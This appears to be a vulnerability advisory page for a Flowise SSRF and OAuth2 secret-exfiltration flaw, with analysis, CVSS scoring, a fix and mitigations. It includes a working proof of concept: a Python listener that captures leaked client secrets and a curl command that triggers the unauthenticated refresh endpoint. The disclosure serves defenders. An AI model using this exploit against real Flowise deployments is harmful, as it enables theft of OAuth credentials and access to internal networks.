Skip to main content

Flowise CVE-2026-69250

| EUVDEUVD-2026-52698 HIGH
Authorization Bypass Through User-Controlled Key (CWE-639)
2026-08-04 https://github.com/FlowiseAI/Flowise GHSA-r745-8hwv-h473
8.5
CVSS 4.0 · Vendor: https://github.com/FlowiseAI/Flowise
Share

Severity by source

Vendor (https://github.com/FlowiseAI/Flowise) PRIMARY
8.5 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
7.7 HIGH

PR:L because setup requires authenticated credential creation; S:C and C:H for SSRF reaching internal networks and full OAuth2 secret exfiltration; no integrity or availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N

Primary rating from Vendor (https://github.com/FlowiseAI/Flowise).

CVSS VectorVendor: https://github.com/FlowiseAI/Flowise

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
X

Lifecycle Timeline

3
Source Code Evidence Fetched
Aug 04, 2026 - 15:01 vuln.today
Analysis Generated
Aug 04, 2026 - 15:01 vuln.today
CVE Published
Aug 04, 2026 - 14:20 cve.org
HIGH

DescriptionCVE.org

Summary

The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (accessTokenUrl) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (tokenInfo), confirming non-blind SSRF and credential secret exfiltration.

Details

The vulnerability is in dist/routes/oauth2/index.js (container runtime build), under path prefix /api/v1/oauth2-credential.

Confirmed in runtime code:

  1. Unauthenticated route via whitelist
  • dist/utils/constants.js includes:
  • /api/v1/oauth2-credential/callback
  • /api/v1/oauth2-credential/refresh
  • dist/index.js auth middleware uses:
  • const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
  • Therefore /api/v1/oauth2-credential/refresh/:credentialId is treated as whitelisted.
  1. User-controlled SSRF target
  • In refresh handler (dist/routes/oauth2/index.js):
  • loads credential by credentialId
  • decrypts credential data
  • reads accessTokenUrl
  • executes:
  • axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)
  • No secureAxiosRequest() / denylist wrapper is used in this path.
  1. Non-blind response reflection
  • Response returns:
  • tokenInfo: { ...tokenData, ... }
  • tokenData is the attacker/internal server response body.
  1. Secrets sent to SSRF target
  • Request body includes:
  • client_id
  • client_secret
  • grant_type=refresh_token
  • refresh_token

PoC

Environment used
  • flowiseai/flowise:latest container (localhost:3000)
  • Attacker server (localhost:18081) returning JSON
Step 1: Start attacker server
bash
python3 -u - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class H(BaseHTTPRequestHandler):
    def do_POST(self):
        l = int(self.headers.get('Content-Length','0'))
        b = self.rfile.read(l).decode('utf-8', errors='replace')
        print('REQUEST_PATH', self.path, flush=True)
        print('REQUEST_BODY', b, flush=True)
        self.send_response(200)
        self.send_header('Content-Type','application/json')
        self.end_headers()
        self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode())
    def log_message(self, fmt, *args):
        pass

HTTPServer(('0.0.0.0', 18081), H).serve_forever()
PY
Step 2: Create OAuth2 credential with attacker accessTokenUrl (authenticated action)

In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.

Resulting credential ID used in runtime validation:

  • 24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef
Step 3: Trigger refresh without auth
bash
curl -i -X POST \
  http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \
  -H 'Content-Type: application/json' \
  -d '{}'

Observed response:

json
{
  "success": true,
  "message": "OAuth2 token refreshed successfully",
  "credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef",
  "tokenInfo": {
    "ok": true,
    "source": "attacker-server",
    "echo_len": 76,
    "has_new_refresh_token": false
  }
}

Attacker server logs captured:

text
REQUEST_PATH /token
REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2

This confirms:

  • unauthenticated trigger,
  • server-side POST to attacker-controlled URL,
  • exfiltration of OAuth2 secrets in POST body,
  • full response reflection to client (tokenInfo).

Impact

  • Vulnerability class: Non-blind SSRF + sensitive secret exfiltration.
  • Who can set up attack: Any authenticated user who can create/update OAuth2 credentials.
  • Who can trigger attack: Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted).
  • Technical impact:
  • outbound SSRF to attacker/internal targets,
  • direct leak of client_secret and refresh_token to SSRF target,
  • direct response read from target via API response (tokenInfo).
  • Deployment impact:
  • cloud/internal network reachability can expose metadata/internal services depending on egress controls.

AnalysisAI

Unauthenticated SSRF with non-blind response reflection and OAuth2 secret exfiltration in Flowise affects all versions through 3.1.2. The OAuth2 token refresh endpoint is intentionally whitelisted from authentication but issues server-side HTTP POST requests to a credential-stored URL without SSRF controls, allowing any caller who knows a credential UUID to redirect the server to an attacker-controlled host and receive the full response body. A working proof-of-concept was confirmed against the flowiseai/flowise:latest container, with the exploit also exfiltrating client_secret and refresh_token values in the outbound POST body to the attacker server. No public exploit is independently confirmed as widespread, but the PoC is detailed and functional.

Technical ContextAI

Flowise is an open-source Node.js/TypeScript LLM orchestration platform (npm package flowise, CPE pkg:npm/flowise). The vulnerable path is the OAuth2 credential refresh handler in dist/routes/oauth2/index.js. The route prefix /api/v1/oauth2-credential/refresh is string-prefix matched against the public whitelist in dist/utils/constants.js, causing the auth middleware (startsWith check) to pass all requests under that prefix, including /refresh/:credentialId. The handler decrypts the stored credential using the database-backed credentialId, reads accessTokenUrl, and invokes axios.post(tokenUrl, ...) directly without using the application's secureAxiosRequest() wrapper or any URL denylist. The root cause is classified as CWE-639 (Authorization Bypass Through User-Controlled Key) because the credentialId UUID is the sole gate for the unauthenticated trigger; however, the exploitation mechanism is fundamentally SSRF (CWE-918), compounded by full response body reflection (non-blind) and secret forwarding. The fix in 3.1.3 introduces validateOAuth2Url() with domain allowlisting (OAUTH2_ALLOWED_TOKEN_DOMAINS) and replaces the bare axios.post() call with secureAxiosRequest() from the flowise-components package.

RemediationAI

Upgrade Flowise to version 3.1.3 or later, which introduces URL validation via validateOAuth2Url() and replaces the unprotected axios.post() with the secureAxiosRequest() wrapper in the OAuth2 refresh and callback handlers. The patch is confirmed at commit da8b251a9a4c59484ceaf6f71df7406aede7bef2 (https://github.com/FlowiseAI/Flowise/commit/da8b251a9a4c59484ceaf6f71df7406aede7bef2) and tagged in the flowise@3.1.3 release. After upgrading, set the environment variable OAUTH2_SECURITY_CHECK=true to enable domain validation, and populate OAUTH2_ALLOWED_TOKEN_DOMAINS with a comma-separated allowlist of legitimate OAuth2 provider domains (e.g., accounts.google.com,login.microsoftonline.com). If immediate upgrade is not possible, restrict network egress from the Flowise container to known OAuth2 provider IP ranges and block access to internal metadata endpoints such as 169.254.169.254; this does not prevent credential exfiltration to external attacker servers but limits lateral movement. Alternatively, place an authenticating reverse proxy in front of /api/v1/oauth2-credential/refresh to enforce authentication on that prefix, restoring the intent of the whitelist bypass. Note: the whitelist string-prefix match is a structural flaw - removing the route from the whitelist without re-evaluating OAuth2 callback flows may break legitimate callback handling.

Share

CVE-2026-69250 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy